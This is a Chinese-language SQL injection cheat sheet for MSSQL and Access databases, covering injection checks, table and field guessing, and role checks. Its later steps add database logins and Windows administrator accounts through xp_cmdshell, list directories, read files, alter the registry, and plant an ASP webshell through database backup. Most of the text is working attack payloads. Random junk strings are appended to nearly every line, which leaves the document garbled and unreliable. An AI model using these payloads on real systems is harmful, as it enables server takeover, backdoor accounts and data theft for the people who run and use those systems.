1.判断是否有注入;and 1=1 ;and 1=2 ]ed7Q3lq
2.初步判断是否是mssql ;and user>0 r%LG>c`^
`g{eWY1l
3.注入参数是字符'and [查询条件] and ''=' [Uj,, y.wB
:4pO/I
~
4.搜索时没过滤参数的'and [查询条件] and '%25'=' N8!e(YK_
r)<n)eXeD
5.判断数据库系统 syb$%
Q?'Ax"$D
;and (select count(*) from sysobjects)>0 mssql bf[l4$3k
MN>U jFA
;and (select count(*) from msysobjects)>0 access rWBgYh
$<f+CtD4
ePxf.U
Z
eWstw7
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Ge24Lp;Y6
o/!a7>xO4
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 C%P.`Nx A
7f~7vydZ}
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 MF$NcU
54f?YR
9.(1)猜字段的ascii值(access) iT1HbAT]
!V/p.O
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 d"+ _`d=`
vY,]f^F"
(2)猜字段的ascii值(mssql) Tn$|
Xa+:s
:5:_Dr<
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 w aDJ
|8\et
10.测试权限结构(mssql) h5))D!
+:z%#D
y|WOw(#
[U{RDX
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 'b_SQ2+A
^Ux*"\/Es
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- A^F0}MYT
<a2Kc '
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- PU\@^)$
Ki3wqY
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- O[^zQA
MO79FNH2\
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- v2mqM5Z
jF5oc
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- L/O:V^1
yF^)H{yx
;and 1=(select IS_MEMBER('db_owner'));-- opCQ=G1
"C+Fl
/v
,E4qxZC(X
|>nVp:t^
11.添加mssql和系统的帐户 Zr;(a;QKs
uL@'Hv A
;exec master.dbo.sp_addlogin username;-- $7\hszjZ
;exec master.dbo.sp_password null,username,password;-- zx5t
gZd,N
xCm`g{
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- AdRt\H <
|CjdmQ u
;exec master.dbo.xp_cmdshell 'net user username password 3.
g-V
j<i:rk|
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- +]{PEnJ
Rs 0Gqx
;exec master.dbo.xp_cmdshell 'net user username password /add';-- .eDI ZX
' :,p6
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ivi&;
, pr ",=
U,$^|Iz
$h'>Zvf
12.(1)遍历目录 GoKMi[b
uvGFo)9q3
;create table dirs(paths varchar(100), id int) 82z<Q*YP
T<ekDhlr
;insert dirs exec master.dbo.xp_dirtree 'c:\' NSAp.m
=[^_x+x
hE
;and (select top 1 paths from dirs)>0 F}#=qBa[
L|w}#|-
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) MbC&u:@ "v
&v_b7h
{I"d"'h
<' b%
(2)遍历目录 HoKN<w
+JL"Z4b@R}
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- FYeUz$/
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 `)eqTeW
aAkO>X%[
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1He'\/#
gOA]..lh
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 *AN2&>Y
Z9 tjo1X
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 KRP)y{~o
XAc#ywophi
gUxJ>~
[a1}r=6~
13.mssql中的存储过程 p\7(IhW@
1rhQ{6
xp_regenumvalues 注册表根键, 子键 ;-T%sRI:|
:. a}pgh
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 zLLe3?8:
_ ;_NM5
xp_regread 根键,子键,键值名 uCpk1d
B1a&'WX?
;exec xp_regread *Z"(K\1TH
|Xl,~-.
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 m.N/g,
0sKY;(
xp_regwrite 根键,子键, 值名, 值类型, 值 Z"G@I= Q(
AZYu/k
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ySwvjP7f
#N"K4@]{
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 c>RS~/Y
~*h` ?A0
xp_regdeletevalue 根键,子键,值名 h+h`0(z
p,+$7f1S
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 w">p
8
n~k9Z^ $
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Y r^C+Oyg
NbnuQPb'
3EKqXXzOB
NI136P
14.mssql的backup创建webshell ~?n)1Vr|
r$~
f[cA
use model <ib#PLRM
Ym*Ed[S
create table cmd(str image); u%=M4|7
M&iA^Wrs
insert into cmd(str) values (''); G#;$;
ZO $}m?
backup database model to disk='c:\l.asp'; d`;_~{sleR
{'#^
ISuye2tExq
+9mnxU>
15.mssql内置函数 64OgE!
Vee`q.
;and (select @@version)>0 获得Windows的版本号
D=nuK25
7$7Y)&\5w
;and user_name()='dbo' 判断当前系统的连接用户是不是sa [/ E_v gZ
wDV%.Cc
;and (select user_name())>0 爆当前系统的连接用户 T7=~l)I
v/BMzVi
;and (select db_name())>0 得到当前连接的数据库 .q1OT>
48BPo,nWR
xA9{o+
@^$Xy<x
16.简洁的webshell 6
2r%q^r`i
QX'/PO
use model .^S#h
(A
3%<xM/#
create table cmd(str image); JYB<};,
vH+QI
insert into cmd(str) values (''); *@r)3
5h^U ]Y#
backup database model to disk='g:\wwwtest\l.asp';